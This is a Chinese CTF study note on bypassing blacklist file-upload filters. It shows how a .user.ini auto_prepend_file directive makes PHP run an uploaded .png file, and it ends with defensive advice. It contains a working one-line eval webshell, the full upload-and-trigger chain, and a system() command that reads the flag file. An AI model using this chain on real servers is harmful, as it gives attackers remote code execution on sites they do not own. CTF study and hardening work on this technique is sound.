.user.ini 原理与文件上传解析路线

.user.ini 原理与文件上传解析路线

适用:文件上传题(黑名单校验被绕过但"解析不了"时) 核心认知:先认服务器类型,再选上传利用方式


一、上传解析的两个"配置文件"是谁在处理

文件 谁读它 生效条件
.htaccess Apache(Web 服务器) Apache + AllowOverride 开启
.user.ini PHP(CGI/FastCGI 模式) php-fpm 跑 PHP(nginx 或 Apache + php-fpm)

关键点:

  • nginx 根本不认 .htaccess(nginx 没有这个机制,配置全在 nginx.conf)
  • Apache + mod_php 不读 .user.ini(不是 CGI 模式)
环境 优先试哪个
Apache .htaccess
nginx + php-fpm .user.ini(本文重点)

怎么判断服务器:看响应头 Server: Apache/2.x 还是 nginx;或传 .phP 只下载不执行 → 基本是 nginx + php-fpm。


二、.user.ini 是什么(原理)

.user.ini = PHP 的"目录级配置文件"(类似 .htaccess 但由 PHP 自己管)。

  • 生效模式:CGI/FastCGI(nginx + php-fpm、Apache + php-fpm 都算)
  • 文件名默认就是 .user.ini(php.ini 的 user_ini.filename,可改)
  • 放在哪个目录 → 只对该目录下的 PHP 文件生效(含子目录)

关键指令:auto_prepend_file

auto_prepend_file=shell.png

效果:该目录下每个 PHP 文件被请求时,执行前都会先自动 include 指定的文件。

→ 如果指定的文件内容是你的 PHP webshell(哪怕后缀是 .png), → 那么访问该目录里任意一个 .php(比如 index.php),都会先执行你的代码!

还有配套的 auto_append_file(执行后自动包含),用法同理。


三、.user.ini 攻击用法(完整链条)

前提

  1. 上传校验是黑名单(只挡已知危险后缀,能传任意名文件)
  2. 能上传 .user.ini(点开头 + 黑名单没挡)
  3. 上传目录里有可访问的 .php 文件(用于触发 auto_prepend_file)

步骤

① 上传 .user.ini,内容:
   auto_prepend_file=shell.png

② 上传 shell.png,内容:
   <?php @eval($_GET[1]);?>

③ 访问该目录下任意 .php(如 /upload/index.php)
   → PHP 自动先包含 shell.png → 你的 webshell 执行

④ 执行命令:
   /upload/index.php?1=system("tac ../flag.php");

为什么这样能绕过"解析不了"的问题

错误路线(.phP 大小写) 正确路线(.user.ini)
依赖"服务器把 .phP 当 PHP 解析" 依赖"PHP 主动包含 .png 文件"
服务器只认小写 .php → 不解析 → 只下载 auto_prepend_file 让任意后缀被当 PHP 执行
看服务器脸色 ❌ 不依赖后缀,自己说了算 ✅

核心:.phP 是"骗解析器",.user.ini 是"让 PHP 自己加载你的文件"。


四、为什么 .phP 上传成功但访问只下载

上传成功 = 过滤器只查小写"php"字符串,.phP 绕过字符串检查 ✅
访问只下载 = 服务器处理器匹配大小写敏感:
  nginx location ~ \.php$  (默认区分大小写)
  → .phP 不交给 PHP 解析 → 当普通文件 → 强制下载(Content-Disposition: attachment)

提示:Windows 服务器文件系统大小写不敏感,.phP 可能被当成 .php 执行;Linux + nginx 大小写敏感 → 只下载——这本身是"该走 .user.ini"的信号。


五、上传题判定流程(定方向)

1. 看响应头 / 传 .phP 测试 → 判断 Apache 还是 nginx+php-fpm
2. 试传 shell.php → 失败;shell.png / shell.a → 成功
   → 说明是黑名单校验(只挡已知后缀)
3. 黑名单 + 能传任意名 → 试 .user.ini(nginx+php-fpm)或 .htaccess(Apache)
4. .user.ini: auto_prepend_file=shell.png + 传 shell.png webshell
5. 访问目录里任意 .php 触发 → ?1=system(...) → flag

六、防御视角(知道原理就会防)

  • 上传校验别用黑名单(改白名单:只允许图片/文档白名单后缀)
  • 上传目录禁止执行 PHP(nginx 配置 location 里 fastcgi 只给白名单后缀)
  • 禁用/改名 .user.ini:php.ini 里 user_ini.filename= 设为空或改名
  • 上传文件名随机化,禁止点开头文件(.user.ini 这种)

记忆口诀

黑名单能传任意名,看服务器选入口:Apache 上 .htaccess,nginx 上 .user.ini;prepend 一设,png 也变 shell。


速查表持续补充,实战遇到新上传姿势随时更新。